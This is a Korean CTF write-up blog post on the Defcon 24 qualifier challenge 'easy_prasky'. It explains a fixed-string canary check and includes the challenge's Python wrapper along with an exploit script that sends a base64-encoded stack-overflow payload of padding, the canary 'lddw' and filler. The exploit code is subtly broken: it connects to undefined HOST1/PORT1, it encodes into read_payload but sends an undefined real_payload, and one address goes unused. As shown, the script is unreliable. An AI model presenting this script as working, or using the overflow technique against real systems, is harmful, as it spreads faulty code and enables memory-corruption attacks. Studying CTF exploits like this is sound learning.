ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • Defcon 24 - easy_prasky
    CTF 2016. 5. 23. 21:48

    easy_prasky 문제는 간단히 코드 이해만 한다면 풀수있는 문제이다.



    strncpy함수로 v2에 lddwDrwhkTebsYA_ , 17바이트만큼 복사를해주는데, 입력을받고나서 v2에 해당문자열을 4바이트만큼 비교한다.

    그럼 lddw라는 문자열을 비교하는것과같다. 


    만약 같지않다면 hacking detected, see ya 가 출력이될것이고, 맞다면 canary ok가 출력될것이다.



      char v1; // [sp+2Fh] [bp-29h]@1

      char v2; // [sp+43h] [bp-15h]@1



    v2는 0x15 위치에 존재한다.

    카나리를 맞춰주고 오버플로우를 해주면 기본적으로 쉘코드, ROP와 상관없이 세그먼트폴트가 발생하면 플래그를 출력해준다.



    또, 파이썬 코드를 통해 이 바이너리가 실행되는데, base64를 디코딩해서 값이 들어오기때문에 페이로드를 한번 인코딩을 해서 보내주어야한다.

    easy_prasky python src

    #!/bin/env python -u
    import random
    from os import environ, listdir, path
    from sys import exit
    from subprocess import Popen, PIPE
    import signal
    from base64 import b64decode
    
    def alarm_handler(signum, frame):
        print "timed out, sorry"
        exit(-1)
    signal.signal(signal.SIGALRM, alarm_handler)
    
    input_timeout = int(environ.get('INPUT_TIMEOUT', 15))
    crash_timeout = int(environ.get('CRASH_TIMEOUT', 5))
    
    chall_path = "."
    
    picked = ["easy-prasky-with-buffalo-on-bing"]
    
    print "send your crash string as base64, followed by a newline"
    
    for c in picked:
        print c
        signal.alarm(input_timeout)
        crasher = b64decode(raw_input())
        signal.alarm(0)
    
        signal.alarm(crash_timeout)
        proc = Popen(path.join(chall_path, c),
                     stdin=PIPE, stdout=PIPE, stderr=PIPE)
        (out, err) = proc.communicate(crasher)
        signal.alarm(0)
        if out != "canary ok":
            print "didn't pass canary, sorry"
            exit(-1)
    
        if proc.returncode != -signal.SIGSEGV:
            print "didn't segfault, sorry"
            exit(-1)
    
    print "The flag is: {}".format(
        environ.get('FLAG', ""))



    위 소스를 토대로, Segmentation Fault 즉, 11, SIGSEGV가 발생하면 플래그를 출력해준다.






    Exploit 

    from s0ngsari import *
    from base64 import *
    HOST = "easy-prasky_335e35448b30ce7697fbb036cce45e34.quals.shallweplayaga.me"
    PORT = 10001
    
    def recvuntil(t):
            data = ''
            while not data.endswith(t):
                    tmp = s.recv(1)
                    if not tmp: break
                    data += tmp
            return data
    
    s = socket(AF_INET,SOCK_STREAM)
    s.connect((HOST1,PORT1))
    
    canary = "lddw"
    sys_fopen = 0x804873B
    
    
    payload = "\x90"*20
    payload += canary
    payload += "A"*22 + "\n"
    
    read_payload = b64encode(payload)
    print recvuntil("on-bing")
    
    time.sleep(0.5)
    s.send(real_payload + "\n")
    
    t = Telnet()
    t.sock = s
    t.interact()
    


    'CTF' 카테고리의 다른 글

    TJCTF - gravitymud  (0) 2016.05.30
    Defcon 24 - LEGIT 1,2,3 Patched  (0) 2016.05.23
    Defcon r0pbaby푸는데  (0) 2016.05.19
    Defcon 23 - babycmd  (7) 2016.05.19
    TUCTF pwn75  (0) 2016.05.18

    댓글

Designed by Tistory.